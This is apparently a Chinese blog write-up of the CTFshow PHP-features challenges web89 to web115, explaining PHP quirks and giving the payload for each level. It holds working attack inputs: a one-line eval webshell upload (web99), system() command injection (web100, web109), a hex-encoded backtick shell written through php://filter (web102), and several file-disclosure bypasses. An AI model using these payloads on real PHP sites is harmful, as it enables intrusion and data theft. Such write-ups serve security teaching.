CTFshow-php特性

目录

web89

web90

web91

web92

web93

web94

web95

web96

web97

web98

扫描二维码关注公众号,回复: 14433014 查看本文章

web99

web100

web101

web102

web103

web104

web105

web106

web107

web108

web109

web110

web111

web112

web113

web114

web115


web89

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

首先来了解一下intval函数。

intval()函数可以获取变量的整数值,常被用来进行数据类型转换,将字符串类型的变量转换为整数类型

preg_match函数是用于完成字符串的正则匹配的函数,如果找到一个匹配的,就返回1,否则就返回0。

preg_match只能处理字符串,如果传入的值是数组的话,就会报错,从而返回false,绕过了正则匹配。

故payload:?num[]=1

web90

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){        //强类型判断 不仅判断值,还会判断类型
        die("no no no!");
    }
    if(intval($num,0)===4476){    //从num的第一个位置开始转换成整形数据
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

对于intval函数,当我们输入的num的值为123a的时候,经过intval函数的转化,就变成了123

所以当我们让num的值为4476a的时候,经过intval函数的转化,num的值就变成了4476。

web91

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
//表示匹配以php开头并且以php结尾,多行匹配
    if(preg_match('/^php$/i', $a)){
//单行匹配以php开头,同时也以php结尾
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

其中正则匹配中的i表示:不区分大小写的意思,这里就是将匹配的目标设置为不区分大小写,即php和PHP是没有区别的。

m:表示多行匹配

使用边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。所有行只要有一行匹配到了就返回1

^:匹配输入字符串的开始位置。$:匹配输入字符串的结束位置。

在默认的情况下,一个字符串无论是否换行只有一个开始^和结束$。如果增加了多行匹配的话(也就是说加上了m),那么每行都有一个开始^和结束$。

payload:?num=换行+php(%0aphp),所以经过第一个正则匹配的时候,由于是多行匹配,我们的payload中的第二行就是以php开始以php结束的。经过第二个正则匹配的时候,因为payload是%0aphp,便不符合以php开始以php结束。执行else。

web92

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){    //弱类型检验,只检验值
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以使用八进制或者是十六进制进行转化。

payload:?num=0x117c

还可以使用科学技术法来绕过==4476,科学技术法用e来表示,比如4476e12,就表示4476*10^12。从而绕过了==4476,之后再intval函数的时候,碰到字母e就不再继续转换,得到了4476

web93

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){    //不区分大小写 过滤字母
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

在上面的基础上过滤了字母,所以可以采用八进制或者是小数的方法绕过

payload:?num=4476.3或者是?num=010574(八进制)

web94

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){    //强类型判断
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){    //正则过滤掉字符
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

在上面题目的基础上增加了strpos函数。strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。

返回值: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。

所以strpos函数的意思就是查找0在$num中的位置是否是0(此处就是过滤了八进制的方法),我们就只能使用小数的方法去绕过。且小数位还要存在一个0,假设我们的payload为4476.3,那么在经过strpos函数的时候,没有找到0,那么就会返回FALSE,在经过前面的!,就变成了TRUE。所以我们需要在小数的某一个位置带上0,绕过strpos函数。

payload:?num=4476.30

web95

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

在上一个题目的基础上增加了对点的过滤,同时需要满足:

$num的值不能是4476

不能含有大小写字母

num中必须包含着0,但是开头不能是0

可以使用换行或者空格或者+号,再加上八进制来绕过。

payload:
    ?num= 010574 //注意有空格
    ?num=%20010574
    ?num=%0a010574
    ?num=+010574
    ?num=%09010574
    ?num=%2b010574

web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){    //判断值是否相等
        die("no no no");
    }else{
        highlight_file($_GET['u']);    //高亮显示
    }
}

首先可以通过报错,得到当前的路径。

可以使用绝对路径去访问:/var/www/html/flag.php

还可以使用php:filter伪协议来读取文件中的内容,当然也可以./,./的意思是当前路径的意思

payload:
    ?u=./flag.php
    ?u=/var/www/html/flag.php
    ?u=php://filter/read=convert.base64-encode/resource=flag.php

web97

if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])        
    if (md5($_POST['a']) === md5($_POST['b']))
        echo $flag;
    else
        print 'Wrong.';
}

经过POST方式传参a和b,传入的两个参数值不可以相等,但是经过md5加密之后是强相等。

传入数组,由于md5函数是无法处理函数的,所以当我们传入的值是数组的时候,会返回NULL,经过md5加密,得到了NULL,在经过强类型的判断,返回了TRUE。

payload:a[]=1&b[]=2

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

涉及到三目运算符,以及变量覆盖的知识。

表达式1?表达式2:表达式3(表示:表达式1存在,那么就取表达式2的值,否则取表达式3的值)

&是引用符号,意思是:不同的名字访问同一个变量内容。php的引用是在变量或者函数、对象等前面加上&符号,PHP 的引用允许你用两个变量来指向同一个内容

对于第二行的代码而言,意思是:如果有GET传参的话,那么就将$_POST传入的参数赋值给$_GET变量,换句话说就是POST传入的参数和GET传入的参数是相同的。之后我们就可以通过POST来覆盖掉GET的值。

由于我们的GET传参是必需的,所以是不会取flag值得,所以中间的两句代码是没有任何意义的,最后的一句highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);代表着如果存在GET方式传参,HTTP_FLAG的值为flag,那么就highlight_file(flag),否则的话,就highlight_file(__FILE__)。

payload:

web99

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

array_push函数:用于将一个或多个元素插入/推入数组(入栈操作)

in_array ():

功能 :检查数组中是否存在某个值

定义 : bool in_array ( mixed $needle , array $haystack , [bool $strict = FALSE ] )

在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。

但是如果省略了第三个参数,则存在着弱类型比较(类似==)

file_put_contents函数:将参数2的内容写入到参数1中,这里就存在着任意文件上传的漏洞。

由于每次rand都是从1开始的,因此array数组中存在1的概率是非常大的,之后in_array($_GET['n'],$array),当传入的参数n的值为1.php时,假设array中压入了1。由于省略了第三个参数,存在弱类型比较,所以说1.php在比较的时候会强制转换为1,刚好array中存在着1.满足if条件,执行file_put_contents。

故payload:?n=1.php         POST传参为content=<?php eval($_POST[1]);?> (多次尝试,让1压入栈中)

便将一句话木马上传到1.php中,直接RCE。

web100

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

通过GET的方式接收v1、v2、v3的值。

这里还考察了=和and的优先级,&&>||>=>and>or,所以在这里就是先将is_numeric($v1)的值赋值给变量v0。之后再与后面的进行运算。

is_numeric()函数:判断变量是否是一个数字或者是数字字符串。

之后对v2和v3进行正则匹配,v2中不可以含有分号,但是v3中必须要有分号。

这里还涉及到反射类的知识点。参考文章:PHP: ReflectionClass - Manual

方法一:

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);只要使v1的值为1,就可以使得v0的值为true,从而进入if,之后需要满足的是v2不能有分号,v3必须有分号

payload:?v1=1&v2=system('tac ctfshow.php')&v3=;

方法二:

使用反射类直接输出class ctfshow的信息

payload:?v1=1&v2=echo new ReflectionClass&v3=;

看到大佬的博客中关于反射类的学习的一部分的代码段:

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    echo "hello</br>";
}
}
$a=new ReflectionClass('A');
 
 
var_dump($a->getConstants());  获取一组常量
输出
 array(1) {
  ["PI"]=>
  float(3.14)
}
 
var_dump($a->getName());    获取类名
输出
string(1) "A"
 
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}
 
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

CTFSHOW-PHP特性__Monica_的博客-CSDN博客_ctfshowphp特性

方法三:

因为这个flag在ctfshow这个类中,所以我们可以构造出var_dump($ctfshow);

payload:?v1=1&v2=var_dump($ctfshow)&v3=;

web101

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

在上一关的基础上,对v2和v3进行了过滤,所以我们的v2就不可以在写成system('tac ctfshow.php'),因为过滤了点号和单引号。

只能使用反射类来输出class ctfshow的信息。

payload:?v1=1&v2=echo new ReflectionClass&v3;

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

条件:

POST方式提交v1参数,GET方式去提交v2和v3。

substr()函数:用来返回某个字符串的子串。例如v2=123456789,则上面的代码返回3456789

call_user_func()第一个参数代表着函数的名,第二个参数代表着传入函数的中参数。返回调用函数后的结果。

file_put_contents():将参数二的内容写入到参数一中。

该题目的思路就是通过调用hex2bin函数,将我们传入的十六进制内容解码为ASCII码,传入的参数可以通过base64编码,再转换为16进制,那么call_user_func函数返回的结果就是base64编码之后的结果,之后可以使用php://filter伪协议将内容再经过base64解码,存放到某个文件中。

由于要经过is_numeric()函数的检测,所以传入的参数的值要求是数字串。

<?php
$a='<?=`cat *`;';
$b=base64-encode($a);//PD89YGNhdCAqYDs=
$c=bin2hex($b);//把base64编码之后的=去掉,再转换为16进制,结果是一样的
echo $c;//5044383959474e6864434171594473 结果中存在着e 会被当做是科学计数法
?>

payload:get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

post : v1=hex2bin

web103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

在上一个题的基础上,增加了对str变量的过滤,.号的意思是匹配除换行符(\n、\r)之外的任何单个字符。*号:匹配前面的子表达式零次或多次。也就是说不能匹配到以p开头中间有h然后以p结尾的子串。可以在此时用上一个题的payload继续打。

web104

include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

这里利用的是sha1函数不可以处理数组,那么当我们传入数组的时候,报错返回false,满足了if条件,从而输出了flag。同样md5函数也存在这样的漏洞。发现其他大佬直接传入v1=v2;v2=v2

web105

include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

本题考查的是:变量覆盖的知识点。

先了解一下foreach函数。foreach(array_expression as $value)函数是遍历给定的数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

foreach(array_expression as $key => $value),同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。

第一个foreach是GET的不能是error,第二个是POST的不能是flag;一共有三个变量 $error $suces $flag我们只要令其中任意一个的值为flag,都是可以通过die或者直接echo输出的。

第一种方法通过die($error)

GET方式提交:suces=flag POST方式提交:error=suces

分析:

//执行第一个foreach
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//经过第一个foreach的时候,由于我们传入的是suces=flag,传入的键并不是error,执行$$key=$$value,得到了$suces=$flag
//执行第二个foreach
foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//POST传入的是error=sucess,由于传入的值不是flag,所以不会执行if语句
//执行$$key=$$value;得到了$error=$suces=$flag

之后由于我们没有通过POST传入flag变量,所以if条件判断为0,满足if条件,执行die($error),也就输出了$flag。

第二种方法通过die($suces)

//payload:(GET方式提交 POST什么都不提交)suces=flag&flag=

//先执行第一个foreach
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//首先得到$suces=$flag 之后再得到了 $flag=NULL
//第二个foreach不执行,因为我们没有通过POST提交任何的数据
foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
//由于没有通过POST传递flag,所以flag的值为空,判断刚好相等,再取反之后
//刚好为false,便不会执行if的内嵌语句
if(!($_POST['flag']==$flag)){
    die($error);
}
//执行die($suces)输出了flag的值
echo "your are good".$flag."\n";
die($suces);

web106

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

此漏洞与md5的漏洞是相同的,当传入的变量是不相同是数据的时候,由于sha1和md5无法处理数组,返回false,从而绕过。当然也可以使用sha1和md5碰撞。

常见的md5加密之后为0e开头的原值可以看之前写的文章,当然sha1函数加密之后对于0e开头的值,也会认为是科学计数法,所以可以绕过。

找到了两个可以经过sha1函数加密可以得到0e开头的原值分别是aaroZmOk、aaK1STfY。

web107

include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

parse_str()函数存在着变量覆盖漏洞,parse_str($id)把查询字符串解析到变量中,没有使用array选项,若有同名变量,将原来的覆盖。这里明显将原来的v2的值给覆盖掉。这里还涉及到弱类型的比较。可以使用md5碰撞,当然也可以传数组进去。

v3[]=1 v1[]=2

web108

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

考察ereg函数,ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

ereg()只能处理字符串的,遇到数组做参数返回NULL,判断用的是 === ,要求类型也相同,而NULL跟FALSE类型是不同的,也可以绕过第一个if的判断。但是我们GET传入的参数还需要经过strrev函数(反转函数),以及将反转后的值转换为整数。

0x36d十六进制转换为十进制为877,构造payload: ?c=a%00778

web109

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

考察反射类的知识点,上面的题有详细的讲到过。直接打v1=ReflectionClass&v2=system('ls'),得到当前目录下的文件,直接访问或者v1=ReflectionClass&v2=system('tac xxx')

web110

error_reporting(0);//不显示报错信息
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
    eval("echo new $v1($v2());");
}

这里有了很多的过滤,不会了,看大佬的wp,使用到了FilesystemIteartor它的功能是用来获取当前目录文件。以及getcwd()函数(取得当前工作目录)。

payload:v1=FilesystemIterator&v2=getcwd

web111

题目考察变量覆盖的知识点。

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }   
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}

最下面的if对v1变量进行正则匹配,如果匹配到ctfshow,那么就会调用getFlag函数,而该函数中存在着变量覆盖,所以我们需要让v1=ctfshow,之后通过全局变量来访问(这里就是看的大佬的wp了,实在是不会了)。

ctfshow的指向就是全局变量的指向,于是就有了相同的作用,那么此时var_dump(ctfshow)就等价于var_dump($GLOBALS)

ctfshow-php特性-超详解(干货)_Yn8rt的博客-CSDN博客_ctfshow php特性

web112

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

看到过滤的data、input、base64、rot13,其实就提示我们使用php伪协议了

可以使用的payload:php://filter/resource=flag.php,还可以使用没有被过滤的编码方式,如:php://filter/read=convert.quote-printable-encode/resource=flag.php

file=compress.zlib://flag.php(这是读取压缩流)

file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php(这是两位一反转的读取方式)

第一次见下面的这三种方式,长知识了。

web113

if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
}

增加了对filter的过滤,可以使用上面写到的读取压缩流的方式继续打。

if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

同时is_file()函数存在着漏洞,在linux中/proc/self/root指向的是根目录,那么我们在linux中使用命令 ls /proc/self/root 便会显示根目录下的内容,可以通过多次重复使用/proc/self/root来绕过is_file()函数,这里具体原因我也不知道为啥。

payload:file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

web114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

payload:?file=php://filter/resource=flag.php

web115

error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

GET方式传参的num需要满足必须是数字,并且不等于36,经过函数去空之后也不等于36,经过函数过滤之后等于36

这个题还是有点不懂,附上大佬的FUZZ脚本:

<?php
for($i = 0; $i<129; $i++){
	$num=chr($i).'36';
	if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
		echo urlencode(chr($i))."\n";
	}
}
?>
%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9

构造payload:%0C36

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125720695